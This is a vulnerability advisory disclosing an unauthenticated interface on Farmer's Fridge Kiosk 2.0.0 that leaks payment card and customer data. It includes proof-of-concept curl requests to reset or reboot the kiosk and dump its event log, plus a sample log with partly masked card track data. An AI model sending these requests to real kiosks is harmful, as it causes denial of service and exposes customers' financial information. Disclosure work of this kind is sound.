Farmer's Fridge Kiosk 2.0.0 Unprotected Event Log Information Disclosure Vendor: Farmer's Fridge Product web page: http://www.farmersfridge.com Affected version: 2.0.0 Summary: Donat think of the Farmeras Fridge kiosk as a vending machine. Itas a veggie machine. And just as each salad is a culinary thing of beauty, the kiosk is a work of art in its own right. Made from reclaimed wood (provided by Modern Urban Woods of West Chicago) and even some recycled materials, each one is unique and user-friendly. Desc: The kiosk vending machine suffers from personally identifiable information (PII) disclosure vulnerability. By default, the firmware listens on port 9000/tcp as cslistener service using the Play Framework to present some basic information about the system when visiting the interface. The interface is accessed without any authentication system in place. When visited, some server information is disclosed by default and some XML pages for various config and supply information are disclosed, including the ability to reset or reboot the kiosk. One of those options is to show an 'event' type log history page containting various status of temperatures, supply count and transaction details. An attacker can increase the number for the 'days' GET parameter to disclose even more data back in history. When visiting the root page of the interface the following kiosk information is disclosed: Version: 2.0.0 Server: PhysicalServer Config: {id=NAME_OF_COMPANY hostname=HOSTNAME location=STREET_ADDRESS, STATE, ZIP serialNumber=serial ip=REMOTE_ADDRESS_OF_KIOSK serialPort=ttyS1 isProd=true useMock=false messageQueue=/usr/share/kiosk-node/conf/queues planogramName=NAME_OF_COMPANY groups=List(KioskGroup(ALL)),route=None} Diagnostics: tools version VIPETL00, temp expiry disabled When visiting the events page information, the following log history is disclosed in plain-text: - Date, time and location of the transaction made - Authorization status on swipe - Credit card number + CVV - Name and surname on credit card - Personal e-mail account - What was bought and how much it costs Tested on: PhysicalServer nginx/1.6.2 Ubuntu Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5399 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5399.php 01.03.2017 -- PoC requests: Unauthorized/Unauthenticated DoS reset request: ----------------------------------------------- - curl http://TARGET:9000/kiosk/reset Unauthorized/Unauthenticated DoS reboot request: ------------------------------------------------ - curl http://TARGET:9000/kiosk/reboot Unauthorized/Unauthenticated show event request and response: ------------------------------------------------------------- - curl http://TARGET:9000/show/events\?days\=1337 Sample response: COMPANY_NAME, 2017-03-25T12:05:11.183004301Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +37.4F COMPANY_NAME, 2017-03-25T12:00:11.173004300Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +37.4F COMPANY_NAME, 2017-03-25T11:55:11.207004299Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +40.1F COMPANY_NAME, 2017-03-25T11:50:11.184004298Z-0500[America/Chicago], Temperature, STATUS_FF_TEMP_OBSERVATION_OK, +40.1F COMPANY_NAME, 2017-03-25T15:50:09.839003295Z-0600[America/Chicago], AuthCaptureNeeded, 2017-03-25T15:49:51.256003292Z-0600[America/Chicago], 1.28, %B4147*REMOVED*4439^DOE/JOHN ^2010201000000000016081818901000?, ;4147*REMOVED*4439=201020116081818901?
